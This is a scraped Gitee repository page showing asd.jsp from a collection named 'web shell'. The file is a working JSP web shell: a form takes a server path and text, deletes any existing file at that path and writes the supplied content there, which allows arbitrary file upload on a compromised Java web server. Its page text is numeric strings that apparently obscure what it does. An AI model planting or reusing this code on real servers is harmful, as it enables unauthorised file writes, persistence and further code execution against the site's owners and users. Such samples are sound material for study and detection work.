1 Star 0 Fork 0

alpha/web shell

加入 Gitee
与超过 1400万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
文件
克隆/下载
asd.jsp 1.31 KB
一键复制 编辑 原始数据 按行查看 历史
tennc 提交于 2013-07-27 17:14 +08:00 . update jsp
<%@ page language="java" pageEncoding="gbk"%>
<jsp:directive.page import="java.io.File"/>
<jsp:directive.page import="java.io.OutputStream"/>
<jsp:directive.page import="java.io.FileOutputStream"/>
<html>
<head>
<title>02050801</title>
<meta http-equiv="keywords" content="02050801">
<meta http-equiv="description" content="02050801">
</head>
<%
int i=0;
String method=request.getParameter("act");
if(method!=null&&method.equals("up")){
String url=request.getParameter("url");
String text=request.getParameter("text");
File f=new File(url);
if(f.exists()){
f.delete();
}
try{
OutputStream o=new FileOutputStream(f);
o.write(text.getBytes());
o.close();
}catch(Exception e){
i++;
%>
010000010402010003030806020001
<%
}
}
if(i==0){
%>
010000010402030806020001
<%
}
%>
<body>
<form action='?act=up' method='post'>
<input size="100" value="<%=application.getRealPath("/") %>" name="url"><br>
<textarea rows="20" cols="80" name="text">07050206050801040604010305040201</textarea><br>
<input type="submit" value="up" name="text"/>
</form>
</body>
</html>
Loading...
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
PHP
1
https://gitee.com/ruichow/web-shell.git
git@gitee.com:ruichow/web-shell.git
ruichow
web-shell
web shell
master

搜索帮助